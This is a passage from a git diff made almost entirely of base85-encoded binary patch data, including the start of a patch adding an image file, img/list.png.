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 SL~WS>|LJKNYu0HvMEwWdyZwv+ literal 0 HcmV?d00001 diff --git a/img/list.png b/img/list.png new file mode 100644 index 0000000000000000000000000000000000000000..d73d2a72b6911414b2490b51f6204eeb43c3e827 GIT binary patch literal 76940 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 